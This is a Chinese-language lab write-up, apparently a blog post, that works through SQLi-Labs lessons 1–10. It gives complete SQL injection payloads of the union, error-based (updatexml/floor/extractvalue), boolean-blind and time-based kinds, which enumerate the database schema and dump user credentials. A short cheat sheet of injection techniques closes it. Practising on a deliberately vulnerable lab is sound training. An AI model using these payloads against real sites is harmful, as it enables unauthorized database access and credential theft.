SQLI -LABS靶场练习1-10

LESS1:

1.判断是否动态网站

根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回不同的页面

2.找潜在注入点

搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞

3.猜测后台SQL语句

select * from t_xx where xid=1……

4.判断是数字型还是字符型

Less-1/?id=2-1   //发现与输入id=2的页面相同,也就是并没有进行运算,初步判断为字符型

注:?是否能用+判断 //不能,在浏览器里加号会被当做空格

5.如果是字符型,判断闭合符

如果有报错,根据报错来看。

Less-1/?id=2' %23 //得到闭合符为单引号

6.完善猜测的后台查询语句(输入为xxx)

select * from t_xx where xid='xxx' LIMIT 0,1

7.判断列数

二分法

   select * from t_xx where xid=('xxx') union select 1,2,3#') LIMIT 0,1

Less-1/?id=2' order by 3%23 //利用二分法得到列数为3列

8.找显示位

  • 给出一个不能查出的条件,与联合查询联用

    例子:union select 1,2,3…… Less-1/?id=-1' union select 1,2,3%23

    确定一个显示位进行查询

9.查库名

  • Less-1/?id=-1' union select 1,2,database()%23

得到数据库为security

10.查表名

  • Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

得到表名有:emails,referers,uagents,users

11.查列名

  • Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23

得到列名有:id,username,password

12.查记录

Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users%23

LESS2

1.判断是否动态网站

根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回不同的页面

2.找潜在注入点

搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞

3.猜测后台SQL语句

select * from t_xx where xid=1……

4.判断是数字型还是字符型

Less-1/?id=2-1   //发现与输入id=1的页面相同,也就是进行了运算,所以为数字型

注:?是否能用+判断 //不能,在浏览器里加号会被当做空格

5.如果是字符型,判断闭合符

如果有报错,根据报错来看。

6.完善猜测的后台查询语句(输入为xxx)

select * from t_xx where xid=xxx LIMIT 0,1

7.判断列数

二分法

   select * from t_xx where xid=xxx union select 1,2,3#') LIMIT 0,1

Less-2/?id=-1 order by 3 //利用二分法得到列数为3列

8.找显示位

  • 给出一个不能查出的条件,与联合查询联用

    例子:union select 1,2,3……

  • Less-2/?id=-1 union select 1,2,3

    确定一个显示位进行查询

    确定2、3列为显示位 

9.查库名

  • Less-2/?id=-1 union select 1,2,database()

得到数据库为security

10.查表名

Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

得到表名有:emails,referers,uagents,users

11.查列名

Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23

得到列名有:id,username,password

12.查记录

Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users%23

 

LESS3:

1.判断是否动态网站

根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回不同的页面

2.找潜在注入点

搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞

3.猜测后台SQL语句

select * from t_xx where xid=1……

4.判断是数字型还是字符型

Less-3/?id=2-1   //发现与输入id=2的页面相同,也就是并没有进行运算,初步判断为字符型

注:?是否能用+判断 //不能,在浏览器里加号会被当做空格

5.如果是字符型,判断闭合符

如果有报错,根据报错来看。

Less-3/?id=2' %23 //得到闭合符为单引号圆括号 

6.完善猜测的后台查询语句(输入为xxx)

select * from t_xx where xid=('xxx') LIMIT 0,1

7.判断列数

二分法

   select * from t_xx where xid=('xxx') union select 1,2,3#') LIMIT 0,1

Less-3/?id=1') order by 3%23 //利用二分法得到列数为3列

8.找显示位

  • 给出一个不能查出的条件,与联合查询联用

    例子:union select 1,2,3……Less-3/?id=-1') union select 1,2,3%23

    发现第2、3列为显示位

9.查库名

  • Less-3/?id=-1') union select 1,2,database()%23

得到数据库为security

10.查表名

  • Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

得到表名有:emails,referers,uagents,users

11.查列名

  • Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23

得到列名有:id,username,password

12.查记录

Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users%23

 LESS4:

1.判断是否动态网站

根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回不同的页面

2.找潜在注入点

搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞

3.猜测后台SQL语句

select * from t_xx where xid=1……

4.判断是数字型还是字符型

Less-4/?id=2-1   //发现与输入id=2的页面相同,也就是并没有进行运算,初步判断为字符型

注:?是否能用+判断 //不能,在浏览器里加号会被当做空格

5.如果是字符型,判断闭合符

如果有报错,根据报错来看。依次输入单引号、双引号,看是否有报错

Less-4/?id=2" %23 //得到闭合符为双引号圆括号

6.完善猜测的后台查询语句(输入为xxx)

select * from t_xx where xid=("xxx") LIMIT 0,1

7.判断列数

二分法

   select * from t_xx where xid=("xxx") union select 1,2,3#') LIMIT 0,1

Less-4/?id=1") order by 3%23 //利用二分法得到列数为3列

8.找显示位

  • 给出一个不能查出的条件,与联合查询联用

    例子:union select 1,2,3……Less-4/?id=-1") union select 1,2,3%23

    发现第2、3列为显示位

9.查库名

  • Less-4/?id=-1") union select 1,2,database()%23

得到数据库为security

10.查表名

  • Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

得到表名有:emails,referers,uagents,users

11.查列名

  • Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23

得到列名有:id,username,password

12.查记录

Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users%23

 LESS5:

1.判断是否动态网站

根根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回页面相同,因此我们只能猜测他为动态网站去尝试注入

2.找潜在注入点

搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞

3.猜测后台SQL语句

select * from t_xx where xid=1……

4.判断是数字型还是字符型

Less-5/?id=1 and 0   //发现还是一样,因此猜测不是数字型

注:?是否能用+判断 //不能,在浏览器里加号会被当做空格

5.如果是字符型,判断闭合符

如果有报错,根据报错来看。依次输入单引号、双引号,看是否有报错

Less-5/?id=1' %23 //得到闭合符为单引号,且为动态网站

6.完善猜测的后台查询语句(输入为xxx)

select * from t_xx where xid='xxx' LIMIT 0,1

7.判断列数

二分法

   select * from t_xx where xid='xxx' union select 1,2,3#') LIMIT 0,1

由于这里没有显示位,这一步可以忽略

8.找显示位

  • 给出一个不能查出的条件,与联合查询联用

    例子:union select 1,2,3……

    根据前面显示的结果,我们得知页面没有显示位,所以这一步省略,下面开始报错注入

9.查库名

  • Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

数据库为security

10.查表名

  • Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23

得到表名有:emails,referers,uagents,users

11.查列名

Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) %23

得到列名有:id,username,password

12.查记录

Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) %23

 Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) %23

LESS6:

第六关参照第五关,总体类似,只有闭合符为双引号

LESS7:

1.判断是否动态网站

根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2发现一样的页面,这里可以尝试输入其他的,比如?id=999,报错,但是没显示具体报错信息,因此我们选择布尔盲注,另外这一关有一个导出文件,后续完善

2.找潜在注入点

搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞

3.猜测后台SQL语句

select * from t_xx where xid=1……

4.判断是数字型还是字符型

Less-7/?id=2-1   //发现还是一样

注:?是否能用+判断 //不能,在浏览器里加号会被当做空格

5.如果是字符型,判断闭合符

如果有报错,根据报错来看。依次输入单引号、双引号,看是否有报错

Less-7/?id=1')) //得到闭合符为单引号和两个圆括号,且为动态网站

6.完善猜测的后台查询语句(输入为xxx)

select * from t_xx where xid=(('xxx')) LIMIT 0,1

7.判断列数

二分法

   select * from t_xx where xid='xxx' union select 1,2,3#') LIMIT 0,1

由于这里没有显示位,这一步可以忽略

8.找显示位

  • 给出一个不能查出的条件,与联合查询联用

    例子:union select 1,2,3……

    根据前面显示的结果,我们得知页面没有显示位,所以这一步省略,下面开始布尔盲注

9.查库名

  • 先取出数据库的字符长度

  • Less-7/?id=1')) and length(database())>7%23 //得到数据库名为8个字符

  • Less-7/?id=1')) and ascii(substr(database(),1,1))>114%23 //利用二分法,得到第一个字符ascii码为115,查出对应字符为s

  • 后面的字符方法相同,得到数据库为security 

10.查表名

  • Less-7/?id=1%27)) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100%23

查出第一个字符ASCII码为101,为字母e,后续字母方法相同,但我在这里试了一下貌似只能查到第一张表emails,后面的表查不到,所以建议用工具sqlmap

得到表名有:emails,referers,uagents,users

11.查列名

得到列名有:id,username,password

12.查记录

LESS8:

1.判断是否动态网站

根根据输入内容,返回不同的页面,如果是,则为动态网站,例如这里我们输入id=1与id=2返回页面相同,因此我们只能猜测他为动态网站去尝试注入,这时联合查询放弃

2.找潜在注入点

搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞 ,但是这里发现没有回显内容,尝试加入注释符%23,成功了

输入Less-8/?id=1'   显示如下:

3.猜测后台SQL语句

select * from t_xx where xid=1'

4.判断是数字型还是字符型

Less-8/?id=1 and 0   //发现还是一样,因此猜测不是数字型

注:?是否能用+判断 //不能,在浏览器里加号会被当做空格

5.如果是字符型,判断闭合符

如果有报错,根据报错来看。依次输入单引号、双引号,看是否有报错,这里第2步已经验证了闭合符为单引号

Less-/8?id=1' %23 //得到闭合符为单引号,且为动态网站

6.完善猜测的后台查询语句(输入为xxx)

select * from t_xx where xid='xxx' LIMIT 0,1

7.判断列数

二分法

   select * from t_xx where xid='xxx' union select 1,2,3#' LIMIT 0,1

由于这里没有显示位,这一步可以忽略,且这里虽然能根据有无回显查看是否报错,但它不会显示报错信息,因此也只能选择布尔盲注

8.找显示位

  • 给出一个不能查出的条件,与联合查询联用

    例子:union select 1,2,3……

    根据前面显示的结果,我们得知页面没有显示位,所以这一步省略,下面开始布尔盲注

9.查库名

  • Less-8/?id=1' and ascii(substr(database(),1,1))>114 %23 //得到第一位字符ASCII码值为115,字符为s

查出所有字符拼接起来数据库名为security

10.查表名

  • 方法与查库名相同,注意事项可以参考第七关,

得到表名有:emails,referers,uagents,users

11.查列名

得到列名有:id,username,password

12.查记录

LESS9:

  1. 判断是否动态网站

    输入id=1、id=2、id=99999 发现界面显示一样,这个时候假设它是一个动态网站,但这个时候联合查询、报错注入(不报错)、布尔盲注(一点提示都没有)都不能用了,这时我们选择延时注入

  2. 找潜在注入点

    搜索框或URL尾端加 ' 如果报错则可能存在sql注入漏洞,但这里我们只能尝试注入

  3. 猜测后台SQL语句

    select * from t_xx where xid=1…
  4. 判断是数字型还是字符型

    Less-9/?id=1 and if(1,sleep(3),1)

    直接返回结果,证明不是数字型

    ?是否能用+判断

  5. 如果是字符型,判断闭合符

    依次在id值后加入单引号、双引号,查看结果

    Less-9/?id=1' and if(1,sleep(3),1)%23

     得到闭合符为单引号

  6. 完善猜测的后台查询语句(输入为xxx)

    select * from t_xx where xid='xxx' LIMIT 0,1
  7. 判断列数

    二分法

   select * from t_xx where xid=('xxx') union select 1,2,3#') LIMIT 0,1

由于这一关没有显示位,也没有报错信息显示,这一步忽略

8.找显示位

  • 给出一个不能查出的条件,与联合查询联用

    例子:union select 1,2,3……

    没有显示位,这一步忽略

9.确定一个显示位进行查询

这里没有显示位,忽略 

10.查库名

Less-9/?id=1' and if(length(database())>7,sleep(3),1)%23 //利用二分法查出数据库名字符串长度为8

Less-9/?id=1' and if(ascii(substr(database(),1,1))>114,sleep(3),1)%23 //查出数据据库名第一个字符为s

用同样的方法查出剩下的七个字符拼接起来,得到数据库名为security

11.查表名

information_schema库是特殊库,是一个在mysql5.0后才有的系统库。

  • Less-9/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100,sleep(3),1)%23

    查的数据表第一个字符的ascii码值为101,因此第一个字符为1,完整的数据表为emailes

12.查列名

与列名方法相同

13.查记录

LESS10:

参照第九关,方法完全相同,唯一的区别是闭合符变为双引号了

基础巩固

URL编码:%23是#的URL编码

+的URL编码是什么?

注入方式分类:

手工数字型,参照第二关

手工字符型

报错注入:

  • 当输入无报错时,要么就是没有这个闭合符,要么就是被后台过滤了,要么就是被转义了,要么就是数字型
  • 当输入一个闭合符有报错,那证明至少有一个闭合符为该字符

1、updatexml(1,concat(0x7e,(sql语句),0x7e),1)

2、双(查询)注入,又称floor报错注入,想要查询select database(),只需要输入后面语句即可在MySQL报错语句中查询出来:

  • union select count(*), concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;

注:在做这个查询的时候要严格注意列数的限制,如果有多列,必须在语句里面加出来例如less5

Less-5/?id=1' union select count(*), 2,concat((database()), floor(rand()*2)) as a from information_schema.tables group by a;%23

  • and (select 1 from (select count(*),concat((payload), floor(rand(0)*2))x from information_schema.tables group by x)a) --+

count(*)是必须带上的。

限制:

输出字符长度限制为?个字符

后台返回记录列数至少2列

3、updatexml报错注入.

​ MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。

​ 限制1:输出字符长度限制为32个字符

​ 限制2:仅payload返回的不是xml格式,才会生效

4、ExtractValue报错注入。

模板1:and extractvalue('anything',concat('/',(Payload)))将报错,不推荐使用。

模板2:union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3%23,不存在丢失报错成果的情况。

Boolean盲注

语法:ascii(substr((sql语句),1,1))>num

思路:

  1. 尝试变换参数进行正常访问,确认动态网站

  2. 找到潜在注入点

  3. 观察特征:有无带出后端查询的内容,有无报错、对比查询成功和查询失败的表现差异(HTTP返回的差异

  4. 猜测后台SQL语句;

  5. 确定闭合符;

  6. 构造布尔查询条件

    • 原理:通过substr截取想要查询字符串的一个字符,利用二分法将其ascii码与数字进行对比,逼近该字符的ascii值。

    • 步骤:

      确定待查询字符串的长度:length()

      构造布尔语句比对逐字符确定对应ascii码值,拼凑出待查询的字符串

延时盲注

语法:and if((sql语句),sleep(3),1)

函数:

sleep():sleep函数可以让SQL语句执行时暂停一段时间,函数返回结果为0

if(expr1,expr2,expr3):如果expr1的值为true,则返回expr的值,否则返回expr3的值。

一般拿到一个动态网站,注入顺序一般为:联合查询注入、报错注入、外带数据注入、布尔盲注、延时盲注

如果有报错(除非特别说明,默认指DBMS的报错,下同),但是不返回显示位的,就排除联合查询注入

如果没有报错,就应该考虑后三种注入方式;如果不能联合查询注入、无报错,且返回页面无条件一致的,就使用延时盲注。如果上面都搞不定,那么换个模块(首选风格更旧或者新功能模块)的注入点。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值